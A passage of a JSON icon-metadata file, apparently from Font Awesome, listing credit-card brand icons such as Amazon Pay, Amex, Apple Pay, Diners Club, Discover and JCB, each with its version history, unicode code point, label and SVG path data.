        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 192h17.1c22.1 38.3 63.5 64 110.9 64c11 0 21.8-1.4 32-4v4 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V339.2L280 448h56c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-53 0-96-43-96-96V192.5c0-16.1-12-29.8-28-31.8l-7.9-1c-17.5-2.2-30-18.2-27.8-35.7s18.2-30 35.7-27.8l7.9 1c48 6 84.1 46.8 84.1 95.3v85.3c34.4-51.7 93.2-85.8 160-85.8zm160 26.5v0c-10 3.5-20.8 5.5-32 5.5c-28.4 0-54-12.4-71.6-32h0c-3.7-4.1-7-8.5-9.9-13.2C357.3 164 352 146.6 352 128v0V32 12 10.7C352 4.8 356.7 .1 362.6 0h.2c3.3 0 6.4 1.6 8.4 4.2l0 .1L384 21.3l27.2 36.3L416 64h64l4.8-6.4L512 21.3 524.8 4.3l0-.1c2-2.6 5.1-4.2 8.4-4.2h.2C539.3 .1 544 4.8 544 10.7V12 32v96c0 17.3-4.6 33.6-12.6 47.6c-11.3 19.8-29.6 35.2-51.4 42.9zM432 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 192h17.1c22.1 38.3 63.5 64 110.9 64c11 0 21.8-1.4 32-4v4 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V339.2L280 448h56c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-53 0-96-43-96-96V192.5c0-16.1-12-29.8-28-31.8l-7.9-1c-17.5-2.2-30-18.2-27.8-35.7s18.2-30 35.7-27.8l7.9 1c48 6 84.1 46.8 84.1 95.3v85.3c34.4-51.7 93.2-85.8 160-85.8zm160 26.5v0c-10 3.5-20.8 5.5-32 5.5c-28.4 0-54-12.4-71.6-32h0c-3.7-4.1-7-8.5-9.9-13.2C357.3 164 352 146.6 352 128v0V32 12 10.7C352 4.8 356.7 .1 362.6 0h.2c3.3 0 6.4 1.6 8.4 4.2l0 .1L384 21.3l27.2 36.3L416 64h64l4.8-6.4L512 21.3 524.8 4.3l0-.1c2-2.6 5.1-4.2 8.4-4.2h.2C539.3 .1 544 4.8 544 10.7V12 32v96c0 17.3-4.6 33.6-12.6 47.6c-11.3 19.8-29.6 35.2-51.4 42.9zM432 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "cc-amazon-pay": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42d",
    "label": "Amazon Pay Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-amex": {
    "changes": ["4.2.0", "5.0.0", "5.7.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["amex"]
    },
    "styles": ["brands"],
    "unicode": "f1f3",
    "label": "American Express Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 480C21.49 480 0 458.5 0 432V80C0 53.49 21.49 32 48 32H528C554.5 32 576 53.49 576 80V82.43H500.5L483.5 130L466.6 82.43H369.4V145.6L341.3 82.43H262.7L181 267.1H246.8V430.9H450.5L482.4 395.8L514.3 430.9H576V432C576 458.5 554.5 480 528 480H48zM482.6 364L440.4 410.3H390.5L458 338.6L390.5 266.1H441.9L483.4 312.8L525.4 266.1H576L508 338.2L576 410.3H524.6L482.6 364zM576 296.9V380.2L536.7 338.3L576 296.9zM307.6 377.1H390.6V410.3H268.6V267.1H390.6V300.2H307.6V322.6H388.5V354.9H307.6V377.2V377.1zM537.3 145.7L500.4 246.3H466L429.2 146V246.3H390.5V103H451.7L483.6 192.3L515.8 103H576V246.3H537.3V145.7zM334.5 217.6H268.6L256.7 246.3H213.7L276.1 103H327.3L390.6 246.3H346.5L334.5 217.6zM301.5 138.5L282 185.4H320.9L301.5 138.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 480C21.49 480 0 458.5 0 432V80C0 53.49 21.49 32 48 32H528C554.5 32 576 53.49 576 80V82.43H500.5L483.5 130L466.6 82.43H369.4V145.6L341.3 82.43H262.7L181 267.1H246.8V430.9H450.5L482.4 395.8L514.3 430.9H576V432C576 458.5 554.5 480 528 480H48zM482.6 364L440.4 410.3H390.5L458 338.6L390.5 266.1H441.9L483.4 312.8L525.4 266.1H576L508 338.2L576 410.3H524.6L482.6 364zM576 296.9V380.2L536.7 338.3L576 296.9zM307.6 377.1H390.6V410.3H268.6V267.1H390.6V300.2H307.6V322.6H388.5V354.9H307.6V377.2V377.1zM537.3 145.7L500.4 246.3H466L429.2 146V246.3H390.5V103H451.7L483.6 192.3L515.8 103H576V246.3H537.3V145.7zM334.5 217.6H268.6L256.7 246.3H213.7L276.1 103H327.3L390.6 246.3H346.5L334.5 217.6zM301.5 138.5L282 185.4H320.9L301.5 138.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-apple-pay": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f416",
    "label": "Apple Pay Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"
      }
    },
    "free": ["brands"]
  },
  "cc-diners-club": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f24c",
    "label": "Diner's Club Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"
      }
    },
    "free": ["brands"]
  },
  "cc-discover": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f2",
    "label": "Discover Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-jcb": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f24b",
    "label": "JCB Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 